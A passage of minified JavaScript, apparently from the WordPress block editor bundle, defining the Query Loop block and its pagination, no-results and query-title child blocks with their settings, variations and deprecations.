n=r?(0,zL.__)("Change design"):(0,zL.__)("Choose pattern");return(0,Ad.jsx)(BC.BlockControls,{group:"other",children:(0,Ad.jsx)(bg.__experimentalDropdownContentWrapper,{children:(0,Ad.jsx)(bg.Dropdown,{contentClassName:"block-editor-block-settings-menu__popover",focusOnMount:"firstElement",expandOnMobile:!0,renderToggle:({isOpen:i,onToggle:l})=>(0,Ad.jsx)(bg.ToolbarButton,{"aria-haspopup":"true","aria-expanded":i,onClick:l,children:n}),renderContent:()=>(0,Ad.jsx)(RL,{clientId:e,attributes:t,showSearch:!1,showTitlesAsTooltip:!0})})})})}function IC(e){return(0,Lae.useSelect)(r=>{let{isLockedBlock:a}=Z(r(BC.store));return a(e.clientId)},[e.clientId])?null:(0,Ad.jsx)(y4e,{...e})}var Ei=o(v(),1),{HTMLElementControl:x4e}=Z(il.privateApis),_4e=3,k4e=[["core/post-template"]];function VL({attributes:e,setAttributes:t,clientId:r,context:a,name:n,isSelected:i}){let{queryId:l,query:s,enhancedPagination:c,tagName:u="div",query:{inherit:m}={}}=e,{templateSlug:p}=a,{isSingular:d}=Moe(p),{__unstableMarkNextChangeAsNotPersistent:f}=(0,EC.useDispatch)(il.store),h=(0,Mae.useInstanceId)(VL),g=(0,il.useBlockProps)(),b=(0,il.useInnerBlocksProps)(g,{template:k4e}),{postsPerPage:y}=(0,EC.useSelect)(x=>{let{getSettings:k}=x(il.store),{getEntityRecord:S,getEntityRecordEdits:C,canUser:E}=x(Rae.store),B=E("read",{kind:"root",name:"site"})?+S("root","site")?.posts_per_page:+k().postsPerPage;return{postsPerPage:+C("root","site")?.posts_per_page||B||_4e}},[]),_=(0,bb.useCallback)(x=>t(k=>({query:{...k.query,...x}})),[t]);return(0,bb.useEffect)(()=>{let x={};(m&&s.perPage!==y||!s.perPage&&y)&&(x.perPage=y),Object.keys(x).length&&(f(),_(x))},[s.perPage,m,y,f,_]),(0,bb.useEffect)(()=>{Number.isFinite(l)||(f(),t({queryId:h}))},[l,h,f,t]),(0,Ei.jsxs)(Ei.Fragment,{children:[i&&(0,Ei.jsx)(IC,{clientId:r,attributes:e,hasInnerBlocks:!0}),(0,Ei.jsx)(Eae,{attributes:e,setAttributes:t,clientId:r}),(0,Ei.jsx)(il.InspectorControls,{children:(0,Ei.jsx)(Bae,{name:n,attributes:e,setQuery:_,setAttributes:t,clientId:r,isSingular:d})}),(0,Ei.jsxs)(il.InspectorControls,{group:"advanced",children:[(0,Ei.jsx)(x4e,{tagName:u,onChange:x=>t({tagName:x}),clientId:r,options:[{label:(0,Aae.__)("Default (<div>)"),value:"div"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<aside>",value:"aside"}]}),(0,Ei.jsx)(Roe,{enhancedPagination:c,setAttributes:t,clientId:r})]}),(0,Ei.jsx)(u,{...b})]})}var DC=o(z(),1),LC=o(U(),1),FL=o(j(),1),Rd=o(T(),1),yb=o(A(),1),NC=o(I(),1),zae=o(ue(),1);var nc=o(v(),1);function Vae({attributes:e,clientId:t,name:r,openPatternSelectionModal:a,isSelected:n}){let[i,l]=(0,FL.useState)(!1),[s,c]=(0,FL.useState)(0),u=(0,zae.useResizeObserver)(([_])=>{c(_.contentRect.width)}),p=s>0&&s<160,{blockType:d,activeBlockVariation:f}=(0,DC.useSelect)(_=>{let{getActiveBlockVariation:x,getBlockType:k}=_(LC.store);return{blockType:k(r),activeBlockVariation:x(r,e)}},[r,e]),h=!!vb(t,e).length,g=f?.icon?.src||f?.icon||d?.icon?.src,b=f?.title||d?.title,y=(0,Rd.useBlockProps)({ref:u});return i?(0,nc.jsx)(w4e,{clientId:t,attributes:e,icon:g,label:b}):(0,nc.jsxs)("div",{...y,children:[n&&(0,nc.jsx)(IC,{clientId:t,attributes:e,hasInnerBlocks:!1}),(0,nc.jsxs)(yb.Placeholder,{className:"block-editor-media-placeholder",icon:!p&&g,label:!p&&b,instructions:!p&&(0,NC.__)("Choose a pattern for the query loop or start blank."),withIllustration:p,children:[!!h&&!p&&(0,nc.jsx)(yb.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:a,children:(0,NC.__)("Choose")}),!p&&(0,nc.jsx)(yb.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:()=>{l(!0)},children:(0,NC.__)("Start blank")})]})]})}function w4e({clientId:e,attributes:t,icon:r,label:a}){let n=Doe(t),{replaceInnerBlocks:i}=(0,DC.useDispatch)(Rd.store),l=(0,Rd.useBlockProps)();return(0,nc.jsx)("div",{...l,children:(0,nc.jsx)(Rd.__experimentalBlockVariationPicker,{icon:r,label:a,variations:n,onSelect:s=>{s.innerBlocks&&i(e,(0,LC.createBlocksFromInnerBlocksTemplate)(s.innerBlocks),!1)}})})}var zd=o(v(),1),C4e=e=>{let{clientId:t,attributes:r}=e,[a,n]=(0,Oae.useState)(!1),l=(0,Fae.useSelect)(s=>!!s(Hae.store).getBlocks(t).length,[t])?VL:Vae;return(0,zd.jsxs)(zd.Fragment,{children:[(0,zd.jsx)(l,{...e,openPatternSelectionModal:()=>n(!0)}),a&&(0,zd.jsx)(Dae,{clientId:t,attributes:r,setIsPatternSelectionModalOpen:n})]})},jae=C4e;var MC=o(T(),1),Uae=o(v(),1);function Gae({attributes:{tagName:e="div"}}){let t=MC.useBlockProps.save(),r=MC.useInnerBlocksProps.save(t);return(0,Uae.jsx)(e,{...r})}var xb=o(I(),1);var ic=o(A(),1),mu=o(v(),1),Wae=(0,mu.jsx)(ic.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48",children:(0,mu.jsx)(ic.Path,{d:"M41 9H7v3h34V9zm-22 5H7v1h12v-1zM7 26h12v1H7v-1zm34-5H7v3h34v-3zM7 38h12v1H7v-1zm34-5H7v3h34v-3z"})}),$ae=(0,mu.jsx)(ic.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48",children:(0,mu.jsx)(ic.Path,{d:"M41 9H7v3h34V9zm-4 5H7v1h30v-1zm4 3H7v1h34v-1zM7 20h30v1H7v-1zm0 12h30v1H7v-1zm34 3H7v1h34v-1zM7 38h30v1H7v-1zm34-11H7v3h34v-3z"})}),qae=(0,mu.jsx)(ic.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48",children:(0,mu.jsx)(ic.Path,{d:"M41 9H7v3h34V9zm-22 5H7v1h12v-1zm22 3H7v1h34v-1zM7 20h34v1H7v-1zm0 12h12v1H7v-1zm34 3H7v1h34v-1zM7 38h34v1H7v-1zm34-11H7v3h34v-3z"})}),Zae=(0,mu.jsx)(ic.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48",children:(0,mu.jsx)(ic.Path,{d:"M7 9h34v6H7V9zm12 8H7v1h12v-1zm18 3H7v1h30v-1zm0 18H7v1h30v-1zM7 35h12v1H7v-1zm34-8H7v6h34v-6z"})});var OL=["core/post-date",{metadata:{bindings:{datetime:{source:"core/post-data",args:{field:"date"}}}}}],S4e=[{name:"title-date",title:(0,xb.__)("Title & Date"),icon:Wae,attributes:{},innerBlocks:[["core/post-template",{},[["core/post-title"],OL]],["core/query-pagination"],["core/query-no-results"]],scope:["block"]},{name:"title-excerpt",title:(0,xb.__)("Title & Excerpt"),icon:$ae,attributes:{},innerBlocks:[["core/post-template",{},[["core/post-title"],["core/post-excerpt"]]],["core/query-pagination"],["core/query-no-results"]],scope:["block"]},{name:"title-date-excerpt",title:(0,xb.__)("Title, Date, & Excerpt"),icon:qae,attributes:{},innerBlocks:[["core/post-template",{},[["core/post-title"],OL,["core/post-excerpt"]]],["core/query-pagination"],["core/query-no-results"]],scope:["block"]},{name:"image-date-title",title:(0,xb.__)("Image, Date, & Title"),icon:Zae,attributes:{},innerBlocks:[["core/post-template",{},[["core/post-featured-image"],OL,["core/post-title"]]],["core/query-pagination"],["core/query-no-results"]],scope:["block"]}],Kae=S4e;var AC=o(U(),1),Ra=o(T(),1);var Vd=o(v(),1),{cleanEmptyObject:HL}=Z(Ra.privateApis),jL=e=>{let{query:t}=e,{categoryIds:r,tagIds:a,taxQuery:n,...i}=t;return(r?.length||a?.length)&&(i.taxQuery={include:{category:r?.length?r:void 0,post_tag:a?.length?a:void 0}}),Object.keys(n||{}).length&&(i.taxQuery={include:n}),{...e,query:i}},Qae=(e,t)=>{let{style:r,backgroundColor:a,gradient:n,textColor:i,...l}=e;if(!(a||n||i||r?.color||r?.elements?.link))return[e,t];if(r&&(l.style=HL({...r,color:void 0,elements:{...r.elements,link:void 0}})),T4e(t)){let u=t[0],p=r?.color||r?.elements?.link||u.attributes.style?HL({...u.attributes.style,color:r?.color,elements:r?.elements?.link?{link:r?.elements?.link}:void 0}):void 0,d=(0,AC.createBlock)("core/group",{...u.attributes,backgroundColor:a,gradient:n,textColor:i,style:p},u.innerBlocks);return[l,[d]]}let c=(0,AC.createBlock)("core/group",{backgroundColor:a,gradient:n,textColor:i,style:HL({color:r?.color,elements:r?.elements?.link?{link:r?.elements?.link}:void 0})},t);return[l,[c]]},T4e=(e=[])=>e.length===1&&e[0].name==="core/group",UL=e=>{let{layout:t=null}=e;if(!t)return e;let{inherit:r=null,contentSize:a=null,...n}=t;return r||a?{...e,layout:{...n,contentSize:a,type:"constrained"}}:e},Yae=(e=[])=>{let t=null;for(let r of e)if(r.name==="core/post-template"){t=r;break}else r.innerBlocks.length&&(t=Yae(r.innerBlocks));return t},Xae=(e=[],t)=>(e.forEach((r,a)=>{r.name==="core/post-template"?e.splice(a,1,t):r.innerBlocks.length&&(r.innerBlocks=Xae(r.innerBlocks,t))}),e),yg=(e,t)=>{let{displayLayout:r=null,...a}=e;if(!r)return[e,t];let n=Yae(t);if(!n)return[e,t];let{type:i,columns:l}=r,s=i==="flex"?"grid":"default",c=(0,AC.createBlock)("core/post-template",{...n.attributes,layout:{type:s,...l&&{columnCount:l}}},n.innerBlocks);return[a,Xae(t,c)]},P4e={attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0}},layout:{type:"object",default:{type:"list"}}},supports:{html:!1},migrate(e,t){let r=jL(e),{layout:a,...n}=r,i={...n,displayLayout:r.layout};return yg(i,t)},save(){return(0,Vd.jsx)(Ra.InnerBlocks.Content,{})}},B4e={attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0}},tagName:{type:"string",default:"div"},displayLayout:{type:"object",default:{type:"list"}}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0},layout:!0},isEligible:({query:{categoryIds:e,tagIds:t}={}})=>e||t,migrate(e,t){let r=jL(e),[a,n]=Qae(r,t),i=UL(a);return yg(i,n)},save({attributes:{tagName:e="div"}}){let t=Ra.useBlockProps.save(),r=Ra.useInnerBlocksProps.save(t);return(0,Vd.jsx)(e,{...r})}},I4e={attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0,taxQuery:null,parents:[]}},tagName:{type:"string",default:"div"},displayLayout:{type:"object",default:{type:"list"}},namespace:{type:"string"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},layout:!0},isEligible(e){let{style:t,backgroundColor:r,gradient:a,textColor:n}=e;return r||a||n||t?.color||t?.elements?.link},migrate(e,t){let[r,a]=Qae(e,t),n=UL(r);return yg(n,a)},save({attributes:{tagName:e="div"}}){let t=Ra.useBlockProps.save(),r=Ra.useInnerBlocksProps.save(t);return(0,Vd.jsx)(e,{...r})}},E4e={attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0,taxQuery:null,parents:[]}},tagName:{type:"string",default:"div"},displayLayout:{type:"object",default:{type:"list"}},namespace:{type:"string"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},layout:!0},save({attributes:{tagName:e="div"}}){let t=Ra.useBlockProps.save(),r=Ra.useInnerBlocksProps.save(t);return(0,Vd.jsx)(e,{...r})},isEligible:({layout:e})=>e?.inherit||e?.contentSize&&e?.type!=="constrained",migrate(e,t){let r=UL(e);return yg(r,t)}},N4e={attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0,taxQuery:null,parents:[]}},tagName:{type:"string",default:"div"},displayLayout:{type:"object",default:{type:"list"}},namespace:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1,layout:!0},save({attributes:{tagName:e="div"}}){let t=Ra.useBlockProps.save(),r=Ra.useInnerBlocksProps.save(t);return(0,Vd.jsx)(e,{...r})},isEligible:({displayLayout:e})=>!!e,migrate:yg},D4e={attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0,taxQuery:null,parents:[],format:[]}},tagName:{type:"string",default:"div"},namespace:{type:"string"},enhancedPagination:{type:"boolean",default:!1}},supports:{align:["wide","full"],html:!1,layout:!0,interactivity:!0,contentRole:!0},save({attributes:{tagName:e="div"}}){let t=Ra.useBlockProps.save(),r=Ra.useInnerBlocksProps.save(t);return(0,Vd.jsx)(e,{...r})},isEligible:({query:{taxQuery:e}={}})=>!!e&&Object.keys(e).some(t=>!["include","exclude"].includes(t)),migrate(e,t){let r=jL(e);return yg(r,t)}},L4e=[D4e,N4e,E4e,I4e,B4e,P4e],Jae=L4e;var{name:ene}=vC,tne={icon:hp,edit:jae,example:{viewportWidth:650,attributes:{namespace:"core/posts-list",query:{perPage:4,pages:1,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",sticky:"exclude",inherit:!1}},innerBlocks:[{name:"core/post-template",attributes:{layout:{type:"grid",columnCount:2}},innerBlocks:[{name:"core/post-title"},{name:"core/post-date",attributes:{metadata:{bindings:{datetime:{source:"core/post-data",args:{field:"date"}}}}}},{name:"core/post-excerpt"}]}]},save:Gae,variations:Kae,deprecated:Jae},M4e=()=>N({name:ene,metadata:vC,settings:tne});var WL={};q(WL,{init:()=>z4e,metadata:()=>RC,name:()=>cne,settings:()=>une});var sne=o(I(),1);var RC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/query-no-results",title:"No Results",category:"theme",description:"Contains the block elements used to render content when no query results are found.",ancestor:["core/query"],textdomain:"default",usesContext:["queryId","query"],supports:{anchor:!0,align:!0,reusable:!1,html:!1,color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}}};var zC=o(T(),1),rne=o(I(),1),one=o(v(),1),R4e=[["core/paragraph",{placeholder:(0,rne.__)("Add text or blocks that will display when a query returns no results.")}]];function ane(){let e=(0,zC.useBlockProps)(),t=(0,zC.useInnerBlocksProps)(e,{template:R4e});return(0,one.jsx)("div",{...t})}var nne=o(T(),1),ine=o(v(),1);function lne(){return(0,ine.jsx)(nne.InnerBlocks.Content,{})}var{name:cne}=RC,une={icon:hp,edit:ane,save:lne,example:{innerBlocks:[{name:"core/paragraph",attributes:{content:(0,sne.__)("No posts were found.")}}]}},z4e=()=>N({name:cne,metadata:RC,settings:une});var ZL={};q(ZL,{init:()=>H4e,metadata:()=>VC,name:()=>_ne,settings:()=>kne});var VC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/query-pagination",title:"Pagination",category:"theme",ancestor:["core/query"],allowedBlocks:["core/query-pagination-previous","core/query-pagination-numbers","core/query-pagination-next"],description:"Displays a paginated navigation to next/previous set of posts, when applicable.",textdomain:"default",attributes:{paginationArrow:{type:"string",default:"none"},showLabel:{type:"boolean",default:!0}},usesContext:["queryId","query"],providesContext:{paginationArrow:"paginationArrow",showLabel:"showLabel"},supports:{anchor:!0,align:!0,reusable:!1,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},layout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-query-pagination-editor",style:"wp-block-query-pagination"};var FC=o(I(),1),pu=o(T(),1),OC=o(z(),1),_b=o(A(),1),hne=o(j(),1);var Fd=o(I(),1),xg=o(A(),1),_g=o(v(),1);function mne({value:e,onChange:t}){return(0,_g.jsxs)(xg.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:(0,Fd.__)("Arrow"),value:e,onChange:t,help:(0,Fd.__)("A decorative arrow appended to the next and previous page link."),isBlock:!0,children:[(0,_g.jsx)(xg.__experimentalToggleGroupControlOption,{value:"none",label:(0,Fd._x)("None","Arrow option for Query Pagination Next/Previous blocks")}),(0,_g.jsx)(xg.__experimentalToggleGroupControlOption,{value:"arrow",label:(0,Fd._x)("Arrow","Arrow option for Query Pagination Next/Previous blocks")}),(0,_g.jsx)(xg.__experimentalToggleGroupControlOption,{value:"chevron",label:(0,Fd._x)("Chevron","Arrow option for Query Pagination Next/Previous blocks")})]})}var $L=o(I(),1),pne=o(A(),1),dne=o(v(),1);function fne({value:e,onChange:t}){return(0,dne.jsx)(pne.ToggleControl,{label:(0,$L.__)("Show label text"),help:(0,$L.__)('Make label text visible, e.g. "Next Page".'),onChange:t,checked:e===!0})}var ll=o(v(),1),F4e=[["core/query-pagination-previous"],["core/query-pagination-numbers"],["core/query-pagination-next"]];function gne({attributes:{paginationArrow:e,showLabel:t},setAttributes:r,clientId:a}){let n=(0,OC.useSelect)(u=>{let{getBlocks:m}=u(pu.store);return m(a)?.find(d=>["core/query-pagination-next","core/query-pagination-previous"].includes(d.name))},[a]),{__unstableMarkNextChangeAsNotPersistent:i}=(0,OC.useDispatch)(pu.store),l=W(),s=(0,pu.useBlockProps)(),c=(0,pu.useInnerBlocksProps)(s,{template:F4e});return(0,hne.useEffect)(()=>{e==="none"&&!t&&(i(),r({showLabel:!0}))},[e,r,t,i]),(0,ll.jsxs)(ll.Fragment,{children:[n&&(0,ll.jsx)(pu.InspectorControls,{children:(0,ll.jsxs)(_b.__experimentalToolsPanel,{label:(0,FC.__)("Settings"),resetAll:()=>{r({paginationArrow:"none",showLabel:!0})},dropdownMenuProps:l,children:[(0,ll.jsx)(_b.__experimentalToolsPanelItem,{hasValue:()=>e!=="none",label:(0,FC.__)("Pagination arrow"),onDeselect:()=>r({paginationArrow:"none"}),isShownByDefault:!0,children:(0,ll.jsx)(mne,{value:e,onChange:u=>{r({paginationArrow:u})}})}),e!=="none"&&(0,ll.jsx)(_b.__experimentalToolsPanelItem,{hasValue:()=>!t,label:(0,FC.__)("Show text"),onDeselect:()=>r({showLabel:!0}),isShownByDefault:!0,children:(0,ll.jsx)(fne,{value:t,onChange:u=>{r({showLabel:u})}})})]})}),(0,ll.jsx)("nav",{...c})]})}var vne=o(T(),1),bne=o(v(),1);function yne(){return(0,bne.jsx)(vne.InnerBlocks.Content,{})}var HC=o(T(),1),qL=o(v(),1),O4e=[{save(){return(0,qL.jsx)("div",{...HC.useBlockProps.save(),children:(0,qL.jsx)(HC.InnerBlocks.Content,{})})}}],xne=O4e;var{name:_ne}=VC,kne={icon:r1,edit:gne,save:yne,deprecated:xne},H4e=()=>N({name:_ne,metadata:VC,settings:kne});var QL={};q(QL,{init:()=>G4e,metadata:()=>jC,name:()=>Cne,settings:()=>Sne});var jC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/query-pagination-next",title:"Next Page",category:"theme",parent:["core/query-pagination"],description:"Displays the next posts page link.",textdomain:"default",attributes:{label:{type:"string"}},usesContext:["queryId","query","paginationArrow","showLabel","enhancedPagination"],supports:{anchor:!0,reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}}};var KL=o(I(),1),UC=o(T(),1),kb=o(v(),1),U4e={none:"",arrow:"\u2192",chevron:"\xBB"};function wne({attributes:{label:e},setAttributes:t,context:{paginationArrow:r,showLabel:a}}){let n=U4e[r];return(0,kb.jsxs)("a",{href:"#pagination-next-pseudo-link",onClick:i=>i.preventDefault(),...(0,UC.useBlockProps)(),children:[a&&(0,kb.jsx)(UC.PlainText,{__experimentalVersion:2,tagName:"span","aria-label":(0,KL.__)("Next page link"),placeholder:(0,KL.__)("Next Page"),value:e,onChange:i=>t({label:i})}),n&&(0,kb.jsx)("span",{className:`wp-block-query-pagination-next-arrow is-arrow-${r}`,"aria-hidden":!0,children:n})]})}var{name:Cne}=jC,Sne={icon:J0,edit:wne},G4e=()=>N({name:Cne,metadata:jC,settings:Sne});var YL={};q(YL,{init:()=>q4e,metadata:()=>GC,name:()=>Pne,settings:()=>Bne});var GC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/query-pagination-numbers",title:"Page Numbers",category:"theme",parent:["core/query-pagination"],description:"Displays a list of page numbers for pagination.",textdomain:"default",attributes:{midSize:{type:"number",default:2}},usesContext:["queryId","query","enhancedPagination"],supports:{anchor:!0,reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-query-pagination-numbers-editor"};var Cb=o(I(),1),WC=o(T(),1),kg=o(A(),1);var Ni=o(v(),1),wb=(e,t="a",r="")=>(0,Ni.jsx)(t,{className:`page-numbers ${r}`,children:e},e),$4e=e=>{let t=[];for(let r=1;r<=e;r++)t.push(wb(r));t.push(wb(e+1,"span","current"));for(let r=1;r<=e;r++)t.push(wb(e+1+r));return t.push(wb("...","span","dots")),t.push(wb(e*2+3)),(0,Ni.jsx)(Ni.Fragment,{children:t})};function Tne({attributes:e,setAttributes:t}){let{midSize:r}=e,a=$4e(parseInt(r,10)),n=W();return(0,Ni.jsxs)(Ni.Fragment,{children:[(0,Ni.jsx)(WC.InspectorControls,{children:(0,Ni.jsx)(kg.__experimentalToolsPanel,{label:(0,Cb.__)("Settings"),resetAll:()=>t({midSize:2}),dropdownMenuProps:n,children:(0,Ni.jsx)(kg.__experimentalToolsPanelItem,{label:(0,Cb.__)("Number of links"),hasValue:()=>r!==2,onDeselect:()=>t({midSize:2}),isShownByDefault:!0,children:(0,Ni.jsx)(kg.RangeControl,{__next40pxDefaultSize:!0,label:(0,Cb.__)("Number of links"),help:(0,Cb.__)("Specify how many links can appear before and after the current page number. Links to the first, current and last page are always visible."),value:r,onChange:i=>{t({midSize:parseInt(i,10)})},min:0,max:5,withInputField:!1})})})}),(0,Ni.jsx)("div",{...(0,WC.useBlockProps)(),children:a})]})}var{name:Pne}=GC,Bne={icon:e1,edit:Tne,example:{}},q4e=()=>N({name:Pne,metadata:GC,settings:Bne});var JL={};q(JL,{init:()=>Q4e,metadata:()=>$C,name:()=>Ene,settings:()=>Nne});var $C={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/query-pagination-previous",title:"Previous Page",category:"theme",parent:["core/query-pagination"],description:"Displays the previous posts page link.",textdomain:"default",attributes:{label:{type:"string"}},usesContext:["queryId","query","paginationArrow","showLabel","enhancedPagination"],supports:{anchor:!0,reusable:!1,html:!1,color:{gradients:!0,text:!1,__experimentalDefaultControls:{background:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}}};var XL=o(I(),1),qC=o(T(),1),Sb=o(v(),1),K4e={none:"",arrow:"\u2190",chevron:"\xAB"};function Ine({attributes:{label:e},setAttributes:t,context:{paginationArrow:r,showLabel:a}}){let n=K4e[r];return(0,Sb.jsxs)("a",{href:"#pagination-previous-pseudo-link",onClick:i=>i.preventDefault(),...(0,qC.useBlockProps)(),children:[n&&(0,Sb.jsx)("span",{className:`wp-block-query-pagination-previous-arrow is-arrow-${r}`,"aria-hidden":!0,children:n}),a&&(0,Sb.jsx)(qC.PlainText,{__experimentalVersion:2,tagName:"span","aria-label":(0,XL.__)("Previous page link"),placeholder:(0,XL.__)("Previous Page"),value:e,onChange:i=>t({label:i})})]})}var{name:Ene}=$C,Nne={icon:t1,edit:Ine},Q4e=()=>N({name:Ene,metadata:$C,settings:Nne});var oM={};q(oM,{init:()=>t3e,metadata:()=>ZC,name:()=>Fne,settings:()=>One});var ZC={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/query-title",title:"Query Title",category:"theme",description:"Display the query title.",textdomain:"default",attributes:{type:{type:"string"},level:{type:"number",default:1},levelOptions:{type:"array"},showPrefix:{type:"boolean",default:!0},showSearchTerm:{type:"boolean",default:!0}},example:{attributes:{type:"search"}},usesContext:["query"],supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-query-title"};var sl=o(T(),1),cl=o(A(),1),Kt=o(I(),1);var eM=o(Y(),1),tM=o(z(),1);function Dne(){let e=(0,tM.useSelect)(l=>{let{getCurrentPostId:s,getCurrentPostType:c,getCurrentTemplateId:u}=l("core/editor"),m=c(),p=u()||(m==="wp_template"?s():null);return p?l(eM.store).getEditedEntityRecord("postType","wp_template",p)?.slug:null},[]),t=e?.match(/^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/),r,a,n=!1,i;if(t)t[1]?r=t[2]?t[2]:t[1]:t[3]&&(r=t[6]?t[6]:t[4],a=t[7]),r=r==="tag"?"post_tag":r;else{let l=e?.match(/^(author)$|^author-(.+)$/);l&&(n=!0,l[2]&&(i=l[2]))}return(0,tM.useSelect)(l=>{let{getEntityRecords:s,getTaxonomy:c,getAuthors:u}=l(eM.store),m,p;if(r&&(m=c(r)?.labels?.singular_name),a){let d=s("taxonomy",r,{slug:a,per_page:1});d&&d[0]&&(p=d[0].name)}if(n&&(m="Author",i)){let d=u({slug:i});d&&d[0]&&(p=d[0].name)}return{archiveTypeLabel:m,archiveNameLabel:p}},[i,n,r,a])}var Lne=o(Y(),1),rM=o(z(),1);function Mne(e){let t=(0,rM.useSelect)(r=>{let{getCurrentPostType:a}=r("core/editor");return a()},[]);return(0,rM.useSelect)(r=>{let{getPostType:a}=r(Lne.store),i=a(e||t);return{postTypeLabel:i?i.labels.singular_name:""}},[e,t])}var Bt=o(v(),1),X4e=["archive","search","post-type"];function Ane(e){St(e);let{attributes:{type:t,level:r,levelOptions:a,showPrefix:n,showSearchTerm:i},setAttributes:l,context:{query:s}}=e,{archiveTypeLabel:c,archiveNameLabel:u}=Dne(),{postTypeLabel:m}=Mne(s?.postType),p=W(),d=r===0?"p":`h${r}`,f=(0,sl.useBlockProps)({className:"wp-block-query-title__placeholder"});if(!X4e.includes(t))return(0,Bt.jsx)("div",{...f,children:(0,Bt.jsx)(sl.Warning,{children:(0,Kt.__)("Provided type is not supported.")})});let h;if(t==="archive"){let g;c?n?u?g=(0,Kt.sprintf)((0,Kt._x)("%1$s: %2$s","archive label"),c,u):g=(0,Kt.sprintf)((0,Kt.__)("%s: Name"),c):u?g=u:g=(0,Kt.sprintf)((0,Kt.__)("%s name"),c):g=n?(0,Kt.__)("Archive type: Name"):(0,Kt.__)("Archive title"),h=(0,Bt.jsxs)(Bt.Fragment,{children:[(0,Bt.jsx)(sl.InspectorControls,{children:(0,Bt.jsx)(cl.__experimentalToolsPanel,{label:(0,Kt.__)("Settings"),resetAll:()=>l({showPrefix:!0}),dropdownMenuProps:p,children:(0,Bt.jsx)(cl.__experimentalToolsPanelItem,{hasValue:()=>!n,label:(0,Kt.__)("Show archive type in title"),onDeselect:()=>l({showPrefix:!0}),isShownByDefault:!0,children:(0,Bt.jsx)(cl.ToggleControl,{label:(0,Kt.__)("Show archive type in 